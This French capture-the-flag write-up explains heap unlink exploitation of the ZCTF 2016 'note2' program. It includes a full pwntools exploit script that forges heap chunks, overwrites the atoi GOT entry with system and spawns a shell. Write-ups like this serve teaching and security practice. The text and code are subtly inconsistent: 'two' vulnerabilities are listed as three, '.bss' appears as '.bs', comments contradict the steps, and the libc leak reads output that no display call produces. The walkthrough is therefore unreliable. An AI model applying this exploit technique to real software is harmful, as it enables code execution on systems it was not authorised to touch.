La vulnérabilité Unlink est une technique avancée d'exploitation de tas, souvent rencontrée dans les défis CTF. Cet article examine son application dans le programme note2 du concours ZCTF 2016, en se concentrant sur les mécanismes permettant une exécution de code arbitraire à travers une mauvaise gestion des allocations mémoire.
Analyse du programme cible
Après avoir vérifié les caractéristiques binaires avec checksec et décompilé le code avec IDA Pro, le programme principal gère plusieurs opérations sur des notes via un menu interactif. Les fonctionnalités clés incluent l'ajout, l'affichage, l'édition et la suppression de notes, avec des restrictions sur les tailles et les identifiants.
void main_loop() {
init_buffers();
get_user_info();
while (1) {
int choice = display_menu();
switch (choice) {
case 1: create_note(); break;
case 2: display_note(); break;
case 3: modify_note(); break;
case 4: remove_note(); break;
case 5: exit_program(); break;
}
}
}
La fonction de création de note alloue une taille maximale de 128 octets, mais une faille dans la validation permet une entrée non bornée lorsque la taille est nulle, conduisant à un débordement de tas.
Identification des vulnérabilités
Deux problèmes critiques sont identifiés :
- Lors de l'allocation d'une note avec une taille de zéro, la comparaison non signée dans la boucle de lecture permet d'écrire des données arbitraires, provoquant un débordement de tas.
- L'édition d'une note génère une allocation intermédiaire qui n'est pas correctement libérée, laissant des pointeurs dans un état incohérent.
- Un pointeur global stocké à une adresse fixe dans la section .bs sert à gérer les notes, offrant une cible pour la corruption mémoire.
Mécanisme d'expolitation Unlink
L'exploitation repose sur la construction de chunks falsifiés pour tromper la routine de libération. En créant un faux chunk adjacent à un chunk libre, l'opération unlink modifie le pointeur global pour pointer vers une adresse contrôlée. Cela permet ensuite de réécrire des adresses critiques, comme les entrées de la table GOT.
from pwn import *
def setup_exploit():
conn = process('./vulnerable_binary')
elf = ELF('./vulnerable_binary')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
context.log_level = 'info'
def add_record(size, data):
conn.sendlineafter('>>>', '1')
conn.sendlineafter('size:', str(size))
conn.sendlineafter('content:', data)
def modify_record(idx, method, payload):
conn.sendlineafter('>>>', '3')
conn.sendlineafter('id:', str(idx))
conn.sendlineafter('mode:', str(method))
conn.sendlineafter('new data:', payload)
def delete_record(idx):
conn.sendlineafter('>>>', '4')
conn.sendlineafter('id:', str(idx))
# Initial data pour brouiller les pistes
conn.sendlineafter('name:', 'user')
conn.sendlineafter('address:', 'addr')
# Construire des chunks pour le contournement
target_ptr = 0x0000000000602120
fake_fd = target_ptr - 0x18
fake_bk = target_ptr - 0x10
payload1 = b'A' * 8 + p64(0x61) + p64(fake_fd) + p64(fake_bk) + b'B' * 64 + p64(0x60)
add_record(128, payload1)
add_record(0, b'C' * 8)
add_record(0x80, b'D' * 16)
# Corrompre les métadonnées via une édition
delete_record(1)
payload2 = b'E' * 16 + p64(0xa0) + p64(0x90)
add_record(0, payload2)
# Déclencher l'unlink pour rediriger le pointeur
delete_record(2)
# Réécrire l'entrée GOT de atoi
atoi_got = elf.got['atoi']
modify_record(0, 1, b'F' * 0x18 + p64(atoi_got))
conn.recvuntil('Content: ')
leak = conn.recvline().strip()
atoi_addr = u64(leak.ljust(8, b'\x00'))
# Calculer l'adresse de system
libc_base = atoi_addr - libc.symbols['atoi']
system_addr = libc_base + libc.symbols['system']
# Remplacer atoi par system
modify_record(0, 1, p64(system_addr))
conn.sendlineafter('>>>', '/bin/sh')
conn.interactive()
if __name__ == '__main__':
setup_exploit()
Disposition du tas lors de l'exploitation
L'état initial du tas après la création de trois notes montre une fragmentation contrôlée. Le premier contient un chunk falsifié pour contounrer les vérifications d'intégrité. Le second, avec une taille nulle, sert à déborder vers le troisième chunk, modifiant ses métadonnées. Lors de la libération du troisième chunk, l'unlink fusionne les espaces libres, écrasant le pointeur global.
Après cette manipulation, le pointeur global pointe vers une adresse calculée, permettant des lectures et écritures arbitraires. En remplaçant l'entrée de atoi dans la GOT par l'adresse de system, toute appel ultérieur à atoi exécute system, donnant accès à un shell.